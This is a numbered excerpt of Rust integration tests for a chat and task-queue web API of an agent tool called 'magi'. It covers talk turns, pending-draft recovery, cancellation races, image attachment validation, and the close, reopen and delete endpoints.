14728 let tasks = body["tasks"].as_array().expect("tasks array");
14729 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14730 assert_eq!(tasks[0]["id"], mine.id);
14731 for status in [
14732 TaskStatus::Queued,
14733 TaskStatus::Running,
14734 TaskStatus::Held,
14735 TaskStatus::Failed,
14736 TaskStatus::Blocked,
14737 TaskStatus::Parked,
14738 TaskStatus::Done,
14739 TaskStatus::Queued,
14740 ] {
14741 mine.status = status;
14742 queue.put(&mut mine).expect("update status");
14743 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14744 let progress = &detail["task_progress"];
14745 assert_eq!(progress["total"], 1);
14746 assert_eq!(progress["counts"][status.as_str()], 1);
14747 assert_eq!(detail["tasks"][0]["status"], status.as_str());
14748 assert_eq!(detail["status"], "open", "completion never closes the chat");
14749 if status == TaskStatus::Done {
14750 assert_eq!(progress["state"], "complete");
14751 assert_eq!(progress["done"], 1);
14752 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14753 } else {
14754 assert_eq!(progress["state"], "incomplete");
14755 assert_eq!(progress["done"], 0);
14756 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14757 }
14758 }
14759 }
14760
14761 #[test]
14762 fn talk_task_progress_counts_mixed_statuses() {
14763 let mut tasks: Vec<_> = [
14764 TaskStatus::Queued,
14765 TaskStatus::Running,
14766 TaskStatus::Held,
14767 TaskStatus::Failed,
14768 TaskStatus::Blocked,
14769 TaskStatus::Parked,
14770 TaskStatus::Done,
14771 ]
14772 .into_iter()
14773 .map(|status| {
14774 let mut task = Task::new(
14775 "task".into(),
14776 "task".into(),
14777 PathBuf::from("/repo"),
14778 Source::Human,
14779 );
14780 task.status = status;
14781 task
14782 })
14783 .collect();
14784 let progress = talk_task_progress(&tasks);
14785 assert_eq!(progress.state, "incomplete");
14786 assert_eq!(progress.total, 7);
14787 assert_eq!(progress.done, 1);
14788 assert_eq!(progress.unfinished_ids.len(), 6);
14789 assert!(progress.counts.values().all(|count| *count == 1));
14790 assert_eq!(
14791 progress.unfinished_ids,
14792 tasks[..6]
14793 .iter()
14794 .map(|task| task.id.clone())
14795 .collect::<Vec<_>>()
14796 );
14797
14798 for task in &mut tasks {
14799 task.status = TaskStatus::Done;
14800 }
14801 let complete = talk_task_progress(&tasks);
14802 assert_eq!(complete.state, "complete");
14803 assert_eq!(complete.done, 7);
14804 assert!(complete.unfinished_ids.is_empty());
14805 tasks[0].status = TaskStatus::Queued;
14806 let requeued = talk_task_progress(&tasks);
14807 assert_eq!(requeued.state, "incomplete");
14808 assert_eq!(requeued.done, 6);
14809 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14810
14811 let empty = talk_task_progress(&[]);
14812 assert_eq!(empty.state, "none");
14813 assert_eq!(empty.total, 0);
14814 assert_eq!(empty.done, 0);
14815 assert!(empty.unfinished_ids.is_empty());
14816 assert!(empty.counts.values().all(|count| *count == 0));
14817 }
14818
14819 #[tokio::test]
14820 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14821 let (_tmp, _repo, f) = talk_fixture().await;
14822 let id = f.post("/api/talks", None).await.json()["id"]
14823 .as_str()
14824 .expect("id")
14825 .to_owned();
14826
14827 let res = f
14828 .post(
14829 &format!("/api/talks/{id}/say"),
14830 Some(r#"{"text":"what does the queue module do?"}"#),
14831 )
14832 .await;
14833 assert_eq!(res.status, 202, "{}", res.body);
14834 let queued = res.json();
14835 let turns = queued["turns"].as_array().expect("turns array");
14836 assert_eq!(
14837 turns.len(),
14838 1,
14839 "the answer reflects only what is on disk the instant it is sent, \
14840 before the agent's turn - which can run for the whole of \
14841 `[graph] timeout_talk` - has a chance to land: {queued}"
14842 );
14843 assert_eq!(turns[0]["who"], "operator");
14844 assert_eq!(turns[0]["body"], "what does the queue module do?");
14845 assert_eq!(
14846 queued["thinking"], true,
14847 "the accepted response exposes the background turn claim: {queued}"
14848 );
14849
14850 let mut turns_after = 1;
14851 for _ in 0..SETTLE_STEPS {
14852 let detail = f.get(&format!("/api/talks/{id}")).await.json();
14853 turns_after = detail["turns"].as_array().expect("turns array").len();
14854 if turns_after == 2 {
14855 break;
14856 }
14857 tokio::time::sleep(Duration::from_millis(10)).await;
14858 }
14859 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14860 }
14861
14862 #[tokio::test]
14889 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14890 let tmp = TempDir::new().expect("tempdir");
14891 let repo = tmp.path().join("repo");
14892 std::fs::create_dir_all(&repo).expect("repo dir");
14893 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14894 let home = TempDir::new().expect("temp home");
14895 let talks = Talks::at(home.path().join("talks"));
14896 let ui = Arc::new(
14897 Ui::new(
14898 Queue::at(home.path().join("queue")),
14899 Questions::at(home.path().join("questions")),
14900 talks.clone(),
14901 home.path().join("runs"),
14902 home.path().to_path_buf(),
14903 repo.clone(),
14904 )
14905 .with_worktrees_root(home.path().join("wt")),
14906 );
14907 let cfg = config_for(&repo).await.expect("discover config");
14908
14909 for delay in 0..40u32 {
14910 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14911 let id = talk.id.clone();
14912
14913 let handler = tokio::spawn(talk_say(
14914 State(Arc::clone(&ui)),
14915 Path(id.clone()),
14916 Ok(Json(NewTalkTurn {
14917 reply_to: None,
14918 text: "what does the queue module do?".to_owned(),
14919 attachments: Vec::new(),
14920 })),
14921 ));
14922 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14923 handler.abort();
14924 let _ = handler.await;
14927
14928 let mut turns = 0;
14929 for _ in 0..SETTLE_STEPS {
14930 if let Ok(fresh) = talks.get(&id) {
14931 turns = fresh.turns.len();
14932 if turns != 1 {
14933 break;
14934 }
14935 }
14936 tokio::time::sleep(Duration::from_millis(10)).await;
14937 }
14938 assert_ne!(
14939 turns, 1,
14940 "delay {delay}: talk {id} recorded the operator's turn but \
14941 the agent never answered - the reply task was never \
14942 started after the handler future was dropped"
14943 );
14944 }
14945 }
14946
14947 #[tokio::test]
14992 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14993 let tmp = TempDir::new().expect("tempdir");
14994 let repo = tmp.path().join("repo");
14995 std::fs::create_dir_all(&repo).expect("repo dir");
14996 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14997 let home = TempDir::new().expect("temp home");
14998 let talks = Talks::at(home.path().join("talks"));
14999 let ui = Arc::new(
15000 Ui::new(
15001 Queue::at(home.path().join("queue")),
15002 Questions::at(home.path().join("questions")),
15003 talks.clone(),
15004 home.path().join("runs"),
15005 home.path().to_path_buf(),
15006 repo.clone(),
15007 )
15008 .with_worktrees_root(home.path().join("wt")),
15009 );
15010 let cfg = config_for(&repo).await.expect("discover config");
15011
15012 for attempt in 0..3u32 {
15013 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15014 let id = talk.id.clone();
15015 let turn_guard = ui
15018 .begin_talk_turn(&id)
15019 .expect("claim the turn")
15020 .expect("a fresh talk owes nobody a turn");
15021
15022 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15023 let (release_tx, release_rx) = std::sync::mpsc::channel();
15024 ui.set_busy_queue_gate(BusyQueueGate {
15025 reached: reached_tx,
15026 release: release_rx,
15027 });
15028
15029 let handler = tokio::spawn(talk_say(
15030 State(Arc::clone(&ui)),
15031 Path(id.clone()),
15032 Ok(Json(NewTalkTurn {
15033 reply_to: None,
15034 text: "what does the queue module do?".to_owned(),
15035 attachments: Vec::new(),
15036 })),
15037 ));
15038
15039 tokio::time::timeout(Duration::from_secs(5), reached_rx)
15044 .await
15045 .unwrap_or_else(|_| {
15046 panic!(
15047 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15048 )
15049 })
15050 .expect("the busy branch dropped the gate without using it");
15051 assert!(
15052 crate::consult::try_publication_guard(&talks, &id)
15053 .expect("publication fence")
15054 .is_none(),
15055 "a queued worker cannot promote text before its successor reservation is published"
15056 );
15057
15058 let closing = Arc::clone(&ui.admissions).write_owned();
15062 tokio::pin!(closing);
15063 std::future::poll_fn(|cx| {
15064 assert!(closing.as_mut().poll(cx).is_pending());
15065 std::task::Poll::Ready(())
15066 })
15067 .await;
15068 assert!(
15069 ui.begin_admission().is_err(),
15070 "replacement blocks later admissions"
15071 );
15072
15073 let running = talks.get(&id).expect("reload talk");
15080 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15081
15082 handler.abort();
15086 let _ = handler.await;
15087 std::future::poll_fn(|cx| {
15088 assert!(
15089 closing.as_mut().poll(cx).is_pending(),
15090 "HTTP cancellation must not abandon a publishing transaction"
15091 );
15092 std::task::Poll::Ready(())
15093 })
15094 .await;
15095 assert!(
15096 crate::consult::try_publication_guard(&talks, &id)
15097 .expect("publication fence after disconnect")
15098 .is_none()
15099 );
15100
15101 let _ = release_tx.send(());
15107 drop(
15108 tokio::time::timeout(Duration::from_secs(5), closing)
15109 .await
15110 .expect("short admission transaction should release for replacement"),
15111 );
15112 assert!(
15113 crate::consult::try_publication_guard(&talks, &id)
15114 .expect("publication fence after acknowledgement")
15115 .is_some(),
15116 "the publication fence is not retained by the long response"
15117 );
15118
15119 let mut fresh = talks.get(&id).expect("reload talk");
15122 for _ in 0..SETTLE_STEPS {
15123 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15124 break;
15125 }
15126 tokio::time::sleep(Duration::from_millis(10)).await;
15127 fresh = talks.get(&id).expect("reload talk");
15128 }
15129 assert!(
15130 fresh.pending.is_empty() && fresh.turns.len() == 2,
15131 "attempt {attempt}: talk {id} left the operator's text queued \
15132 with no drainer - the reclaimed turn was dropped along with \
15133 the handler future (pending {:?}, {} turns)",
15134 fresh.pending,
15135 fresh.turns.len()
15136 );
15137 }
15138 }
15139
15140 #[tokio::test]
15141 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15142 let (_tmp, _repo, f) = talk_fixture().await;
15143 let id = f.post("/api/talks", None).await.json()["id"]
15144 .as_str()
15145 .expect("id")
15146 .to_owned();
15147 let store = f.talks();
15148 let mut recovered = store.get(&id).expect("opened talk");
15149 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15150 .expect("persist pending draft without a live turn");
15151
15152 let edited = f
15153 .post(
15154 &format!("/api/talks/{id}/pending/edit"),
15155 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15156 )
15157 .await;
15158 assert_eq!(edited.status, 200, "{}", edited.body);
15159 assert!(edited.json()["thinking"].as_bool().unwrap());
15160
15161 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15162 for _ in 0..SETTLE_STEPS {
15163 if detail["turns"].as_array().expect("turns").len() == 2 {
15164 break;
15165 }
15166 tokio::time::sleep(Duration::from_millis(10)).await;
15167 detail = f.get(&format!("/api/talks/{id}")).await.json();
15168 }
15169 let turns = detail["turns"].as_array().expect("turns");
15170 assert_eq!(
15171 turns.len(),
15172 2,
15173 "the recovered draft must run once: {detail}"
15174 );
15175 assert_eq!(turns[0]["body"], "corrected");
15176 assert_eq!(detail["pending"], "");
15177 }
15178
15179 #[tokio::test]
15180 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15181 let tmp = TempDir::new().expect("tempdir");
15182 let repo = tmp.path().join("repo");
15183 std::fs::create_dir_all(&repo).expect("repo dir");
15184 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15185 let f = Fixture::with_repo(repo).await;
15186 let id = f.post("/api/talks", None).await.json()["id"]
15187 .as_str()
15188 .expect("id")
15189 .to_owned();
15190 let store = f.talks();
15191 let mut recovered = store.get(&id).expect("opened talk");
15192 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15193 .expect("persist pending draft without a live turn");
15194
15195 let refused = f
15196 .post(
15197 &format!("/api/talks/{id}/say"),
15198 Some(r#"{"text":"new message"}"#),
15199 )
15200 .await;
15201 assert_eq!(refused.status, 409, "{}", refused.body);
15202 assert!(refused.body.contains("resume"), "{}", refused.body);
15203 let saved = store.get(&id).expect("draft remains after refusal");
15204 assert!(saved.turns.is_empty());
15205 assert_eq!(saved.pending, "saved before restart");
15206
15207 let say_path = format!("/api/talks/{id}/say");
15208 let (first, second) = tokio::join!(
15209 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15210 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15211 );
15212 assert_eq!(first.status, 409, "{}", first.body);
15213 assert_eq!(second.status, 409, "{}", second.body);
15214 let saved = store
15215 .get(&id)
15216 .expect("draft remains after concurrent refusals");
15217 assert!(saved.turns.is_empty());
15218 assert_eq!(saved.pending, "saved before restart");
15219
15220 let resumed = f
15221 .post(&format!("/api/talks/{id}/pending/resume"), None)
15222 .await;
15223 assert_eq!(resumed.status, 202, "{}", resumed.body);
15224 let duplicate = f
15225 .post(&format!("/api/talks/{id}/pending/resume"), None)
15226 .await;
15227 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15228
15229 for _ in 0..SETTLE_STEPS {
15230 if store.get(&id).expect("talk").turns.len() == 2 {
15231 break;
15232 }
15233 tokio::time::sleep(Duration::from_millis(10)).await;
15234 }
15235 let finished = store.get(&id).expect("finished talk");
15236 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15237 assert_eq!(finished.turns[0].body, "saved before restart");
15238 assert!(finished.pending.is_empty());
15239 }
15240
15241 #[tokio::test]
15242 async fn an_image_only_recovered_draft_resumes_without_text() {
15243 let (_tmp, _repo, f) = talk_fixture().await;
15244 let id = f.post("/api/talks", None).await.json()["id"]
15245 .as_str()
15246 .expect("id")
15247 .to_owned();
15248 let uploaded = f
15249 .post_bytes(
15250 &format!("/api/talks/{id}/attachments"),
15251 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15252 PNG_BYTES,
15253 )
15254 .await;
15255 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15256 let attachment = f
15257 .talks()
15258 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15259 .expect("attachment metadata")
15260 .expect("stored attachment");
15261 let store = f.talks();
15262 let mut recovered = store.get(&id).expect("opened talk");
15263 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15264
15265 let resumed = f
15266 .post(&format!("/api/talks/{id}/pending/resume"), None)
15267 .await;
15268 assert_eq!(resumed.status, 202, "{}", resumed.body);
15269 for _ in 0..SETTLE_STEPS {
15270 if store.get(&id).expect("talk").turns.len() == 2 {
15271 break;
15272 }
15273 tokio::time::sleep(Duration::from_millis(10)).await;
15274 }
15275 let finished = store.get(&id).expect("finished talk");
15276 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15277 assert!(finished.turns[0].body.is_empty());
15278 assert_eq!(finished.turns[0].attachments.len(), 1);
15279 assert!(finished.pending_attachments.is_empty());
15280 }
15281
15282 #[tokio::test]
15283 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15284 let (_tmp, _repo, f) = talk_fixture().await;
15285 let id = f.post("/api/talks", None).await.json()["id"]
15286 .as_str()
15287 .expect("id")
15288 .to_owned();
15289 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15290 assert_eq!(closed.status, 200, "{}", closed.body);
15291 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15292 .expect("serialize closed talk");
15293 for (path, body) in [
15294 (format!("/api/talks/{id}/pending/resume"), None),
15295 (
15296 format!("/api/talks/{id}/pending/clear"),
15297 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15298 ),
15299 (
15300 format!("/api/talks/{id}/pending/edit"),
15301 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15302 ),
15303 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15304 ] {
15305 let response = f.post(&path, body).await;
15306 assert_eq!(response.status, 409, "{}", response.body);
15307 }
15308 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15309 .expect("serialize closed talk");
15310 assert_eq!(
15311 after_clear, before_clear,
15312 "clear must not rewrite a closed talk"
15313 );
15314 }
15315
15316 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15319
15320 #[tokio::test]
15321 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15322 let tmp = TempDir::new().expect("tempdir");
15323 let repo = tmp.path().join("repo");
15324 std::fs::create_dir_all(&repo).expect("repo dir");
15325 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15326 let f = Fixture::with_repo(repo).await;
15327 let id_a = f.post("/api/talks", None).await.json()["id"]
15328 .as_str()
15329 .unwrap()
15330 .to_owned();
15331 let id_b = f.post("/api/talks", None).await.json()["id"]
15332 .as_str()
15333 .unwrap()
15334 .to_owned();
15335
15336 let a = f
15337 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15338 .await;
15339 assert_eq!(a.status, 202, "{}", a.body);
15340 assert_eq!(a.json()["thinking"], true);
15341 let b = f
15342 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15343 .await;
15344 assert_eq!(b.status, 202, "{}", b.body);
15345 assert_eq!(b.json()["thinking"], true);
15346
15347 let listed = f.get("/api/talks").await.json();
15348 for id in [&id_a, &id_b] {
15349 let view = listed
15350 .as_array()
15351 .unwrap()
15352 .iter()
15353 .find(|talk| talk["id"] == *id)
15354 .unwrap();
15355 assert_eq!(view["thinking"], true, "{listed}");
15356 }
15357 let repeated = f
15358 .post(
15359 &format!("/api/talks/{id_a}/say"),
15360 Some(r#"{"text":"again"}"#),
15361 )
15362 .await;
15363 assert_eq!(repeated.status, 202, "{}", repeated.body);
15364 assert_eq!(repeated.json()["pending"], "again");
15365 }
15366
15367 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15370
15371 #[tokio::test]
15372 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15373 let f = Fixture::start().await;
15374 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15375
15376 let res = f
15377 .post_bytes(
15378 &format!("/api/talks/{id}/attachments"),
15379 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15380 PNG_BYTES,
15381 )
15382 .await;
15383 assert_eq!(res.status, 201, "{}", res.body);
15384 let body = res.json();
15385 assert_eq!(body["name"], "shot.png");
15386 assert_eq!(body["mime"], "image/png");
15387 assert_eq!(body["bytes"], PNG_BYTES.len());
15388 let att_id = body["id"].as_str().expect("id").to_owned();
15389 assert_eq!(
15390 att_id.len(),
15391 32,
15392 "the id must never be a client-suppliable path: {att_id}"
15393 );
15394
15395 let got = f
15396 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15397 .await;
15398 assert_eq!(got.status, 200, "{}", got.body);
15399 assert_eq!(got.header("content-type"), Some("image/png"));
15400 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15401 assert_eq!(got.bytes, PNG_BYTES);
15402 }
15403
15404 #[tokio::test]
15405 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15406 let f = Fixture::start().await;
15407 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15408
15409 let svg = f
15412 .post_bytes(
15413 &format!("/api/talks/{id}/attachments"),
15414 &[("Content-Type", "image/svg+xml")],
15415 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15416 )
15417 .await;
15418 assert!(
15419 (400..500).contains(&svg.status),
15420 "svg must be refused: {} {}",
15421 svg.status,
15422 svg.body
15423 );
15424 assert!(svg.body.contains("SVG"), "{}", svg.body);
15425
15426 let text = f
15427 .post_bytes(
15428 &format!("/api/talks/{id}/attachments"),
15429 &[("Content-Type", "text/plain")],
15430 b"just some text",
15431 )
15432 .await;
15433 assert!(
15434 (400..500).contains(&text.status),
15435 "an unlisted type must be refused: {} {}",
15436 text.status,
15437 text.body
15438 );
15439
15440 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15443 let big = f
15444 .post_bytes(
15445 &format!("/api/talks/{id}/attachments"),
15446 &[("Content-Type", "image/png")],
15447 &oversized,
15448 )
15449 .await;
15450 assert_eq!(
15451 big.status,
15452 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15453 "{}",
15454 big.body
15455 );
15456 }
15457
15458 #[tokio::test]
15459 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15460 let f = Fixture::start().await;
15461 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15462
15463 let res = f
15466 .post_bytes(
15467 &format!("/api/talks/{id}/attachments"),
15468 &[("Content-Type", "image/png")],
15469 b"<html>not a picture</html>",
15470 )
15471 .await;
15472 assert!((400..500).contains(&res.status), "{}", res.body);
15473 }
15474
15475 #[tokio::test]
15476 async fn an_unknown_attachment_id_is_a_404() {
15477 let f = Fixture::start().await;
15478 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15479
15480 let res = f
15481 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15482 .await;
15483 assert_eq!(res.status, 404, "{}", res.body);
15484 }
15485
15486 #[tokio::test]
15487 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15488 let f = Fixture::start().await;
15489 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15490
15491 let uploaded = f
15492 .post_bytes(
15493 &format!("/api/talks/{id}/attachments"),
15494 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15495 PNG_BYTES,
15496 )
15497 .await;
15498 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15499 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15500
15501 let res = f
15502 .post(
15503 &format!("/api/talks/{id}/say"),
15504 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15505 )
15506 .await;
15507 assert_eq!(res.status, 202, "{}", res.body);
15508 let queued = res.json();
15509 let turns = queued["turns"].as_array().expect("turns array");
15510 assert_eq!(
15511 turns.len(),
15512 1,
15513 "an empty body with an attachment is still a turn: {queued}"
15514 );
15515 assert_eq!(turns[0]["who"], "operator");
15516 assert_eq!(turns[0]["body"], "");
15517 let atts = turns[0]["attachments"]
15518 .as_array()
15519 .expect("attachments array");
15520 assert_eq!(atts.len(), 1);
15521 assert_eq!(atts[0]["id"], att_id);
15522 assert_eq!(atts[0]["mime"], "image/png");
15523
15524 let on_disk = f.talks().get(&id).expect("get");
15527 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15528 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15529 }
15530
15531 #[tokio::test]
15532 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15533 let f = Fixture::start().await;
15534 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15535
15536 let res = f
15537 .post(
15538 &format!("/api/talks/{id}/say"),
15539 Some(&format!(
15540 r#"{{"text":"hi","attachments":["{}"]}}"#,
15541 "a".repeat(32)
15542 )),
15543 )
15544 .await;
15545 assert!((400..500).contains(&res.status), "{}", res.body);
15546 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15547
15548 let on_disk = f.talks().get(&id).expect("get");
15549 assert!(
15550 on_disk.turns.is_empty(),
15551 "a rejected attachment id must not partially record the turn: {:?}",
15552 on_disk.turns
15553 );
15554 }
15555
15556 #[tokio::test]
15557 async fn talk_close_makes_the_talk_refuse_further_turns() {
15558 let f = Fixture::start().await;
15559 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15560
15561 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15562 assert_eq!(closed.status, 200, "{}", closed.body);
15563 assert_eq!(closed.json()["status"], "closed");
15564
15565 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15567 assert_eq!(closed_again.status, 200);
15568 assert_eq!(closed_again.json()["status"], "closed");
15569
15570 let said = f
15571 .post(
15572 &format!("/api/talks/{id}/say"),
15573 Some(r#"{"text":"too late"}"#),
15574 )
15575 .await;
15576 assert_eq!(said.status, 409, "{}", said.body);
15577 }
15578
15579 #[tokio::test]
15580 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15581 let (_tmp, _repo, f) = talk_fixture().await;
15582 let id = f.post("/api/talks", None).await.json()["id"]
15583 .as_str()
15584 .expect("id")
15585 .to_owned();
15586 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15587 assert_eq!(closed.status, 200, "{}", closed.body);
15588
15589 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15590 assert_eq!(reopened.status, 200, "{}", reopened.body);
15591 assert_eq!(reopened.json()["status"], "open");
15592
15593 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15595 assert_eq!(reopened_again.status, 200);
15596 assert_eq!(reopened_again.json()["status"], "open");
15597
15598 let said = f
15599 .post(
15600 &format!("/api/talks/{id}/say"),
15601 Some(r#"{"text":"still there?"}"#),
15602 )
15603 .await;
15604 assert_eq!(
15605 said.status, 202,
15606 "a reopened talk accepts turns again: {}",
15607 said.body
15608 );
15609 }
15610
15611 #[tokio::test]
15612 async fn talk_reopen_on_an_unknown_id_is_404() {
15613 let f = Fixture::start().await;
15614 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15615 assert_eq!(res.status, 404, "{}", res.body);
15616 }
15617
15618 #[tokio::test]
15619 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15620 let f = Fixture::start().await;
15621 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15622
15623 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15624 assert_eq!(deleted.status, 204, "{}", deleted.body);
15625
15626 let after = f.get(&format!("/api/talks/{id}")).await;
15627 assert_eq!(after.status, 404, "{}", after.body);
15628
15629 let listed = f.get("/api/talks").await.json();
15630 assert!(
15631 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15632 "a deleted talk must not linger in the list: {listed}"
15633 );
15634 }
15635
15636 #[tokio::test]
15637 async fn talk_delete_on_an_unknown_id_is_404() {
15638 let f = Fixture::start().await;
15639 let res = f.delete("/api/talks/nonexistent-id").await;
15640 assert_eq!(res.status, 404, "{}", res.body);
15641 }
15642
15643 #[tokio::test]
15647 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15648 let f = Fixture::start().await;
15649 let (a, b, gone) = (
15650 "20260902-140501-aaaa",
15651 "20260902-140502-bbbb",
15652 "20260902-140503-cccc",
15653 );
15654 write_run(&f.runs(), a, RunStatus::Stalled);
15655 let mut review = RunState::new(
15656 PathBuf::from("/repo/magi"),
15657 "main".to_owned(),
15658 "0123456789abcdef".to_owned(),
15659 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15660 .to_owned(),
15661 Config::default(),
15662 );
15663 review.id = b.to_owned();
15664 review.status = RunStatus::Merged;
15665 write_state(&f.runs(), &review);
15666
15667 let mut task = Task::new(
15668 "retry".to_owned(),
15669 "Do the thing".to_owned(),
15670 PathBuf::from("/repo/magi"),
15671 Source::Human,
15672 );
15673 task.start(a.to_owned());
15674 task.stall("quota");
15675 task.start(a.to_owned());
15676 task.start(b.to_owned());
15677 task.start(gone.to_owned());
15678 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15680 f.queue().put(&mut task).expect("file the task");
15681
15682 let res = f.get(&format!("/api/queue/{}", task.id)).await;
15683 assert_eq!(res.status, 200, "{}", res.body);
15684 let v = res.json();
15685 let h = v["history"].as_array().expect("history");
15686 assert_eq!(h.len(), 4, "{v}");
15687 assert_eq!(h[0]["kind"], "competition");
15688 assert_eq!(h[0]["status"], "stalled");
15689 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15690 assert_eq!(h[1]["kind"], "resume", "{v}");
15691 assert!(
15692 h[0]["outcome"]
15693 .as_str()
15694 .unwrap()
15695 .contains("unknown. Pass #2"),
15696 "an earlier pass of a resumed run must not claim the final outcome: {v}"
15697 );
15698 assert!(
15699 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15700 "{v}"
15701 );
15702 assert!(
15703 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15704 "an unrecorded cause must not be narrated as an operator park: {v}"
15705 );
15706 assert_eq!(h[2]["kind"], "review");
15707 assert!(
15708 h[2]["description"]
15709 .as_str()
15710 .unwrap()
15711 .contains("magi/aaaa/A")
15712 );
15713 assert_eq!(h[2]["status"], "merged");
15714 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15715 assert_eq!(v["runs_unreadable"], 1);
15716 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15717 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15718 assert_eq!(nodes[4]["note"], "unreadable");
15719 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15720 assert_eq!(v["instruction"], "Do the thing");
15721 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15722
15723 let run = f.get(&format!("/api/runs/{a}")).await.json();
15725 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15726
15727 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15728 }
15729
15730 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15731 let mut s = RunState::new(
15732 PathBuf::from("/repo/magi"),
15733 "main".to_owned(),
15734 "0123456789abcdef".to_owned(),
15735 "Do it".to_owned(),
15736 Config::default(),
15737 );
15738 s.status = status;
